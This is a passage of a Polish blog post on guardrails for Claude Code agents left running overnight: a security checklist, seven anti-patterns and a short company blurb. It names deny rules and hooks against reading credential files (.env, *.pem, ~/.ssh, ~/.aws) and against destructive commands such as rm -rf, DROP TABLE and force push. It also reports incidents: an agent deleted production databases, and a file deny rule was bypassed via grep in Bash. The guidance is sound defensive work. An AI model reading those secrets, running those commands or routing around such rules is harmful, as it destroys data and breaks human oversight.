W praktyce wdraża się to, używając różnych katalogów `.claude` dla różnych typów zadań. Na swoim komputerze mam trzy konfiguracje: `~/projects/business-ops/.claude/` (typ 1, dostęp do bazy danych, sieć zablokowana z wyjątkiem wewnętrznych API), `~/projects/inbox-parsing/.claude/` (typ 2, cała sieć zablokowana), `~/projects/social-posting/.claude/` (typ 3, sieć dozwolona dla API Telegrama i Slacka). Każdy katalog to osobny projekt dla Claude Code z własnymi uprawnieniami i hookami.
## Które 12 punktów listy kontrolnej sprawdzam przed /loop?
Najważniejszy wniosek
12-punktowa lista kontrolna, którą sprawdzam przed nocnym uruchomieniem `/loop`, `/schedule` lub `claude --bg`. Obejmuje zarówno `~/.claude/settings.json` z podstawowym zakazem, jak i `/sandbox` z izolacją sieciową. Jeśli choć jeden punkt nie jest spełniony, nie uruchamiam zadania.
1. `~/.claude/settings.json` z zakazem `deny` na poziomie użytkownika dla `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**`, `~/.aws/**`. To podstawa; bez niej reszta nie ma sensu.
2. `disableBypassPermissionsMode: "disable"` w `~/.claude/settings.json`. Raz na zawsze blokuje flagę YOLO.
3. Przykłady `block-secret-reads.sh` sprawdzono na wybranych poleceniach odczytu; rzeczywiste sekrety i poświadczenia produkcyjne są niedostępne dla środowiska bez nadzoru.
4. Przykład `block-force-push.sh` blokuje rozpoznane dosłowne pushe niezależnie od kolejności flag i celu; ochronę gałęzi i brak poświadczeń obchodzących ją egzekwuje serwer Git.
5. Hook `block-destructive-sql.sh` dla `DROP TABLE`, `TRUNCATE` i `DELETE FROM` bez `WHERE`.
6. Hook `block-rm-rf.sh` dla `rm -rf` bez wyraźnie określonego zakresu.
7. Hook `ask-on-new-deps.sh` dla `npm install ` (odrębnie od `npm install` bez argumentów).
8. Hook `ask-on-lockfile-change.sh` dla zapisów do `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` i `Cargo.toml`.
9. Zbiorczy dziennik `audit.jsonl` dla wszystkich wywołań Bash, Write i Edit. Bez niego analiza po incydencie jest niemożliwa.
10. Wszystkie długie sesje w tle działają w worktree, a nie na głównej gałęzi: `claude --bg "task"` automatycznie tworzy worktree, ale sprawdź, czy `settings.json` nie zawiera `worktree.bgIsolation: "none"`.
11. `/sandbox` przed uruchomieniem długiego zadania autonomicznego. System plików jest ograniczony do katalogu projektu i `/tmp`. Sieć korzysta z listy dozwolonych hostów: api.anthropic.com, github.com i registry.npmjs.org.
12. Krok weryfikacji w ramach zadania: po każdej większej zmianie uruchom narzędzie testujące lub linter. Jeśli zakończą się niepowodzeniem, agent nie kontynuuje, dopóki problem nie zostanie naprawiony.
Ostatni punkt to sposób pracy, a nie ustawienie narzędzia. Zapewnij Claude’owi możliwość sprawdzenia własnej pracy. Bez weryfikacji agent przez całą noc powtarza „chyba zrobiłem to dobrze, przechodzę dalej” i do rana gromadzi błędy. Dzięki weryfikacji nie kontynuuje, dopóki kontrola nie zakończy się powodzeniem.
## 7 antywzorców: czego NIE robić
Najważniejszy wniosek
Siedem typowych błędów opisanych w tych projektach: uruchamianie `--dangerously-skip-permissions` na komputerze z dostępem do produkcji, poleganie wyłącznie na `CLAUDE.md`, ufanie `permissions.deny` bez dodatkowego hooka oraz używanie auto-mode bez reguł kopii zapasowych. Każdy błąd wiąże się z rzeczywistymi incydentami opisanymi w źródłach.
**1. `--dangerously-skip-permissions` na komputerze z dostępem do produkcji.** Browningstreet stracił produkcyjną i deweloperską bazę danych po jednym poleceniu „posprzątaj”. Kosztem błędu są godziny odzyskiwania danych i utrata danych, których nie ma w kopii zapasowej. Jeśli incydent już się wydarzył, otwórz [„Co zrobić, gdy AI usunęło bazę danych: lista kontrolna odzyskiwania”](https://ailoot.ai/blog/pl/ai-deleted-database-recovery/) i wykonaj kolejno 10 kroków.
**2. Poleganie wyłącznie na `CLAUDE.md` w kwestii bezpieczeństwa.** Zgłoszenie \#44868 dowiodło, że model najpierw działa, a potem przeprasza. Instrukcja w pliku tekstowym nie blokuje wywołania narzędzia. Poprawnie skonfigurowany hook może blokować dopasowane wywołania, a system operacyjny, sandbox i kontrola dostępu usługi egzekwują szersze granice. `CLAUDE.md` ma znaczenie dla kontekstu projektu — osobno opisałem to w poradniku [„Jak prawidłowo skonfigurować CLAUDE.md”](https://ailoot.ai/blog/pl/claude-md-template/) — ale nie chroni przed autonomicznym agentem.
**3. Poleganie wyłącznie na `permissions.deny` w `settings.json`, bez dodatkowego hooka.** Zgłoszenie \#24846 pozostaje otwarte od lutego 2026 roku. Zakaz dla `.env*` można obejść przez `grep` w Bashu. Hook dodaje sprawdzenia, ale sekrety także muszą być wykluczone ze środowiska bez nadzoru; regex nie zastępuje w pełni kontroli dostępu.
**4. Uznawanie auto-mode z hookami regex za izolację produkcji.** Cytowany odsetek wyników fałszywie ujemnych dotyczy konkretnej oceny, a zakres hooków jest niepełny. Usuń poświadczenia zapisu produkcyjnego i sprawdź egzekwowaną granicę zamiast zakładać przechwycenie każdego niebezpiecznego działania.
**5. Instalowanie nowego pakietu przez `npm install` bez potwierdzenia.** Ataki na łańcuch dostaw są realne. Incydenty z Tea-tags w latach 2024–2026 pokazały, że istnieją pakiety z podszytą nazwą i tysiącami pobrań. Potrzebujesz listy dozwolonych pakietów.
**6. Brak logowania wywołań Bash.** Bez dziennika audytowego nie zrozumiesz, co wydarzyło się w nocy. Transkrypcja czatu jest długa, nie jest indeksowana według poleceń i nie pokazuje osi czasu. `.claude/audit.jsonl` rozwiązuje oba problemy.
**7. Brak worktree dla sesji w tle.** Równoległe sesje w jednym katalogu ingerują w pracę innych. Claude Code ma włączone domyślnie `worktree.bgIsolation` od wersji 2.1.143, ale sprawdź swoje ustawienia.
Jest jeszcze najważniejsza rzecz, której nie może powstrzymać żaden hook ani ustawienie:
To zdanie nie dotyczy stylu. Za ochronę środowiska produkcyjnego odpowiada osoba, która uruchomiła agenta. Claude Code działa jak brzytwa: można się nią golić, ale można się też nią skaleczyć. Konfiguracja odpowiada na jedno pytanie: czy środowisko zostało przygotowane tak, by brzytwa nie przecięła niczego, czego nie powinna?
### Źródła
- [Ustawienia Anthropic Claude Code — oficjalna dokumentacja](https://code.claude.com/docs/en/settings)
- [Hooki Anthropic Claude Code — oficjalna dokumentacja](https://code.claude.com/docs/en/hooks)
- [Bezpieczeństwo Anthropic Claude Code — oficjalna dokumentacja](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: sandboxing w Claude Code (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto mode i klasyfikator bezpieczeństwa (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Dziennik zmian Claude Code (wersje 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Więcej materiałów znajdziesz na [Ailoot](https://ailoot.ai/).
## Pytania i odpowiedzi
### Czy hook force-push chroni produkcję przed każdym poleceniem powłoki?
Nie. Poprawiony przykład blokuje rozpoznane dosłowne git push, także z różną kolejnością flag, domyślną gałęzią, refspecami i zwykłymi łańcuchami powłoki. Aliasy, wrappery i konstruowane polecenia mogą ominąć filtr; egzekwuj ochronę gałęzi i uprawnienia poświadczeń.
### Co jest wymagane przed pozostawieniem agenta na noc?
Użyj izolacji bez zapisu produkcyjnego i czytelnych sekretów, sprawdź sieć i ograniczenia usług oraz zamierzone trafienia i przeoczenia hooka. Hooki dodają kontrole, lecz nie zastępują egzekwowanych granic.
## Ailoot · Firma i jej portfel projektów
Ailoot opiera się na zgromadzonym doświadczeniu operacyjnym, szerokiej bazie klientów, stabilnej usłudze i stałej kontroli KPI.
Firma i jej portfel projektów: miliony klientów; miesięczna sprzedaż liczona w miliardach.
Ailoot wykorzystuje to doświadczenie operacyjne, zapewniając dostęp przez API do funkcji AI w produktach klientów, agentach, aplikacjach i automatyzacjach.